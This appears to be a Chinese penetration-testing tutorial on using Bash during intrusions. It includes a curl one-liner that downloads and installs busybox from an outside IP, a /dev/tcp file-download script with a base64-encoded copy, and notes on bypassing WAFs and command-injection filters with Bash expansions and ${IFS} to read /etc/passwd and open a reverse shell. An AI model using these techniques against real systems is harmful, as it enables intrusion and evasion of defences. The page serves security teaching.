🖥️Bash进阶-攻防实战场景应用

Bash渗透实战场景

当服务器没有wget、curl怎么下载文件?不能出网? yum apt-get

前置情况:

  • 服务器不能上网

  • 没有wget

  • 没有curl

Busybox是什么?

https://baike.baidu.com/item/busybox/427860

在遇到没有wget的方式时,可以通过curl命令来下载busybox之后安装wget命令。

curl -o busybox http://1.1.1.1/busybox && chmod +x /root/busybox && /root/busybox --install /usr/local/sbin/ && rm -rf /root/busybox && echo "1"

这种方式只能解决部分问题,遇到了没有wget和curl命令的时候就很无解。

以下这段代码主要功能是使用Bash的/dev/tcp文件执行HTTP请求,这就解决了服务器没有wget、curl也能够下载文件

#下载代码
read proto server path <<< "${1//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
 
#-r 屏蔽 \,按行读取Header部分,匹配到\r就停止读取
while IFS= read -r line ; do
    [[ "$line" == $'\r' ]] && break
done <&3
nul='\0'
#读取body的内容
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
    printf "%s$nul" "$x"
done <&3
 
#关闭输出
exec 3>&-
echo Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download

下载文件:

执行流程分析:

扩展模式

bash内置了这个功能,与所要执行的命令无关,命令本身不存在参数扩展

模块扩展的英文单词是glob,这个词来自于早期的 Unix 系统有一个/etc/glob文件,保存扩展的模板。

其中有些用到通配符,又称为通配符扩展(wildcard expansion)

Bash提供八种扩展:

  • 波浪线扩展

  • ? 字符扩展

  • 字符扩展

  • 方括号扩展

  • 大括号扩展

  • 变量扩展

  • 子命令扩展

  • 算术扩展

开启与关闭扩展模式

  • 波浪线扩展

  • 字符扩展

? 字符代表文件路径中的任意单个字符,但不包括空字符 只有文件存在才会发生扩展,文件不存在就不会

Bypass Waf常看到的

查看当前/etc/passwd

  • 字符扩展

  • 方括号扩展

  • [start-end]扩展

  • 大括号扩展

大括号扩展不是文件名扩展。它会扩展成所有给定的值,而不管是否有对应的文件存在。

  • {start..end}扩展

  • 变量扩展

  • 子命令扩展

  • 算术扩展

实战中IFS利用

在一次实战命令执行中,遇到了过滤:':;,<|>/`"%&

过滤了 “/“ 符号,这里可以通过IFS内部字段分隔符,Internal Field Separator 的缩写)来bypass

${IFS} 是Linux下的分隔符的意思,可以将${IFS}进行空格替换。

subset:是返回起始位置为POS(从1开始计数)、长度为LENGTH个字符的子字符串

实战利用场景:

命令执行漏洞,但代码过滤:':;,<|>/`"%&

目标环境可出网,进行反弹Shell操作。

脚本内容为常见的反弹Shell,写入到HTTP服务Web目录下,建立1.txt文件

例如空格绕过还有:

探测IP存活

Last updated

Was this helpful?